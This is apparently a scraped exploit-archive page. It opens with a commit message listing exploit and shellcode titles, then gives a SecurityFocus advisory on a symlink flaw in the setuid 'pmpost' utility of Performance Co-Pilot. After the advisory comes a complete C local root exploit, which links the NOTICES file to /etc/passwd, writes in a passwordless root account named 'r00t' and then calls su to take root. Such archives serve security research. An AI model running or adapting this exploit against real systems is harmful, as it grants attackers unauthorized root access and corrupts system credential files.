880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
71 lines
No EOL
2.4 KiB
C
71 lines
No EOL
2.4 KiB
C
// source: https://www.securityfocus.com/bid/2887/info
|
|
|
|
Performance Co-Pilot (PCP) is a set of services to support system-level performance monitoring developed by SGI. It has traditionally been an IRIX product, however SGI has made it open source and it is now available for Linux systems.
|
|
|
|
One of the utilities that ships with PCP is called 'pmpost'. It is often installed setuid root by default. When writing to the 'NOTICES' file in its user-definable log directory, 'pmpost' will follow symbolic links. Since the data written is user-supplied (the command-line arguments), it is possible to gain superuser privileges if 'pmpost' is setuid root.
|
|
|
|
Note: This vulnerability affects both binary versions for IRIX and the open source distribution of PCP. S.u.S.E. has made PCP packages available for their linux distribution. PCP is not installed as part of S.u.S.E. Linux by default. The PCP packages for S.u.S.E. Linux 7.0 do not install 'pmpost' setuid root. Versions 7.1 and 7.2 do, and are vulnerable if PCP is installed.
|
|
|
|
It has been reported that not all versions of PCP for IRIX are vulnerable. To determine whether you are vulnerable, run this command:
|
|
|
|
strings /usr/pcp/bin/pmpost | grep PCP_LOG_DIR
|
|
|
|
If the string 'PCP_LOG_DIR' appears, it is most likely that the version of 'pmpost' installed is vulnerable.
|
|
|
|
It is not yet known which other Linux vendors may ship with PCP as either an optional package or installed by default.
|
|
|
|
/********************************************************
|
|
* *
|
|
* pmpost local root exploit *
|
|
* vulnerable: pcp <= 2.1.11-5 *
|
|
* by IhaQueR *
|
|
* *
|
|
********************************************************/
|
|
|
|
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <sys/types.h>
|
|
#include <sys/wait.h>
|
|
#include <fcntl.h>
|
|
#include <sys/stat.h>
|
|
|
|
|
|
|
|
main()
|
|
{
|
|
const char *bin="/usr/share/pcp/bin/pmpost";
|
|
static char buf[512];
|
|
static char dir[128];
|
|
|
|
|
|
srand(time(NULL));
|
|
sprintf(dir, "/tmp/dupa.%.8d", rand());
|
|
|
|
if(mkdir(dir, S_IRWXU))
|
|
_exit(2);
|
|
|
|
if(chdir(dir))
|
|
_exit(3);
|
|
|
|
if(symlink("/etc/passwd", "./NOTICES"))
|
|
_exit(4);
|
|
|
|
snprintf(buf, sizeof(buf)-1, "PCP_LOG_DIR=%.500s", dir);
|
|
|
|
if(putenv(buf))
|
|
_exit(5);
|
|
|
|
if(!fork()) {
|
|
execl(bin, bin, "\nr00t::0:0:root:/root:/bin/bash", NULL);
|
|
_exit(1);
|
|
}
|
|
else {
|
|
waitpid(0, NULL, WUNTRACED);
|
|
chdir("..");
|
|
sprintf(buf, "rm -rf dupa.*");
|
|
system(buf);
|
|
execl("/bin/su", "/bin/su", "r00t", NULL);
|
|
}
|
|
} |